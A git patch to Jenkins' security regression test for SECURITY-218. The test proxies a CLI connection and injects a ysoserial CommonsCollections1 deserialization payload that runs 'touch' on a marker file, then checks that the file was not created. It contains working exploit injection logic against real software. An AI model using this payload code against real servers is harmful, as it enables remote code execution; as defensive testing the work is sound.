From b2ab469b6f40e17ab53fdfccd75604e596d8304c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 9 Nov 2015 21:04:47 -0500 Subject: [PATCH] Using ysoserial directly. Trying to touch userContent rather than some random file, so that we can verify the result remotely. Reducing rounds to two: one for capability, one for random transport commands. --- .../security/Security218BlackBoxTest.java | 75 +++++++++--------- .../resources/jenkins/security/payload.ser | Bin 1408 -> 0 bytes 2 files changed, 39 insertions(+), 36 deletions(-) delete mode 100644 test/src/test/resources/jenkins/security/payload.ser diff --git a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java index 5a76005f62..7d0b9d5c9b 100644 --- a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java +++ b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java @@ -24,17 +24,16 @@ package jenkins.security; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import hudson.cli.CLI; import hudson.cli.CliPort; import hudson.remoting.BinarySafeStream; import hudson.util.DaemonThreadFactory; -import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.File; import java.io.IOException; import java.io.InputStream; -import java.io.ObjectInputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.InetSocketAddress; @@ -45,41 +44,48 @@ import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.concurrent.atomic.AtomicInteger; -import org.apache.commons.io.FileUtils; -import org.apache.commons.io.IOUtils; -import org.junit.Test; +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.util.Serializables; import static org.junit.Assert.*; +import org.junit.Test; import org.junit.Rule; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.recipes.PresetData; public class Security218BlackBoxTest { + private static final String overrideURL = System.getenv("JENKINS_URL"); + private static final String overrideHome = System.getenv("JENKINS_HOME"); + static { + assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null)); + } + private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory()); @Rule public JenkinsRule r = new JenkinsRule(); - @PresetData(PresetData.DataSet.NO_ANONYMOUS_READACCESS) + @SuppressWarnings("deprecation") // really mean to use getPage(String) + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) // TODO userContent inaccessible without authentication otherwise @Test public void probe() throws Exception { - File pwned = new File("/tmp/pwned"); // TODO fix payload() to set a system property and test that instead - final AtomicInteger round = new AtomicInteger(); - final AtomicBoolean foundRound = new AtomicBoolean(); - do { - foundRound.set(false); - System.err.println("Round #" + round); - FileUtils.deleteQuietly(pwned); + JenkinsRule.WebClient wc = r.createWebClient(); + final URL url = overrideURL == null ? r.getURL() : new URL(overrideURL); + wc.getPage(url + "userContent/readme.txt"); + try { + wc.getPage(url + "userContent/pwned"); + fail("already compromised?"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(404, x.getStatusCode()); + } + for (int round = 0; round < 2; round++) { + final int _round = round; final ServerSocket proxySocket = new ServerSocket(0); executors.submit(new Runnable() { @Override public void run() { try { Socket proxy = proxySocket.accept(); - String overrideURL = System.getenv("JENKINS_URL"); - URL url = overrideURL == null ? r.getURL() : new URL(overrideURL); Socket real = new Socket(url.getHost(), ((HttpURLConnection) url.openConnection()).getHeaderFieldInt("X-Jenkins-CLI-Port", -1)); final InputStream realIS = real.getInputStream(); final OutputStream realOS = real.getOutputStream(); @@ -166,8 +172,7 @@ public class Security218BlackBoxTest { nullCount = 0; } } - if (round.get() == 0) { - foundRound.set(true); + if (_round == 0) { System.err.println("injecting payload into capability negotiation"); // replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00 new DataOutputStream(realOS).writeUTF("Protocol:CLI-connect"); // TCP agent protocol @@ -207,8 +212,7 @@ public class Security218BlackBoxTest { if (hasMore) { continue; } - if (++packet == round.get()) { - foundRound.set(true); + if (++packet == _round) { System.err.println("injecting payload into packet"); byte[] data = payload(); realOS.write(data.length / 256); @@ -225,7 +229,7 @@ public class Security218BlackBoxTest { break; } } - } catch (IOException x) { + } catch (Exception x) { x.printStackTrace(); } } @@ -252,13 +256,17 @@ public class Security218BlackBoxTest { x.printStackTrace(); } } - }).get(15, TimeUnit.SECONDS); + }).get(5, TimeUnit.SECONDS); } catch (TimeoutException x) { System.err.println("CLI command timed out"); } - assertFalse("Pwned!", pwned.isFile()); - round.incrementAndGet(); - } while (foundRound.get()); + try { + wc.getPage(url + "userContent/pwned"); + fail("Pwned!"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(404, x.getStatusCode()); + } + } } private static synchronized void display(byte[] data) { @@ -273,8 +281,7 @@ public class Security218BlackBoxTest { private static synchronized void showSer(byte[] data) { try { - ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); - Object o = ois.readObject(); + Object o = Serializables.deserialize(data); System.err.print(o); } catch (Exception x) { System.err.printf("<%s>", x); @@ -282,14 +289,10 @@ public class Security218BlackBoxTest { } /** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */ - private static byte[] payload() throws IOException { - // TODO from ysoserial; use that library to generate other payloads on demand (would like a variant which uses System.setProperty for more portable tests) - InputStream is = Security218BlackBoxTest.class.getResourceAsStream("payload.ser"); - try { - return IOUtils.toByteArray(is); - } finally { - is.close(); - } + private byte[] payload() throws Exception { + File home = overrideHome == null ? r.jenkins.root : new File(overrideHome); + // TODO find a Windows equivalent + return Serializables.serialize(new CommonsCollections1().getObject("touch " + new File(new File(home, "userContent"), "pwned"))); } } diff --git a/test/src/test/resources/jenkins/security/payload.ser b/test/src/test/resources/jenkins/security/payload.ser deleted file mode 100644 index f512914bd418da017d77a53f547556454a9b9787..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1408 zcmb7EO=uHA6n@z@*0z==5vx!t1rfFAu84=y9JB^%1L+T1OEDLx$t2l!|D2solU56Q zum>+aM2Z*fp`NUQc=jM31gizTC_SklDk$hdJnEaxX1iMa>0V}-o%g->eeavM{29VF zgCn+M$c*MRn&C1r43iVCnugr#Z<9vR%(#dB#K>xtoq6)Db;ru=EeWI)Y}2VePT45Y z9BOlDO-+y@Q5>#n$^fzADX8aVi*kroe`v(WD+!I*cD!WS7XcsyEh0n~Au@)P80>Tp z#8tntVP=-fZ}zQqK8+++BnYJ-RN$~T0P1m2Hk2z8orhTfWZPx3yi6>TDNs3M>bhyz zxN3qtlD1`?SaOO?m$44xUFGtPa->oxk~QQ=hMTO+;b00Olq!VcLE!2`C?kv*cFtrv zWg;_!o`2-bIflTtpnQ;7+lpUR#E#lr>$_sBxQkW=05zGoVl>tEkRux!fG$eqo&)_8%s$+vpPU|!ORX4 z9i1Gk_B3azk&mbG$}nL>A3?7pOe_dfb35wq!OO0-J*M-kV>cuA0j;L8#Gxrqxkng- zJg{m|73_A~%eyPj&ib7J4viR7t!fLIHUzWP35A@E_jR;KM&Ezzm^oSF9O4k+rjsdjDqOb| zYYLwMhk9C~89#AI!0vHjqiDo{HMk`OM6frPUpAi$s_Ce@YY zYaPv%*H``AKA1a!`iWh@*B@?Jd-$mB-19n+`k+ZONw&|O07+=%1xD?Hsbx#nvEx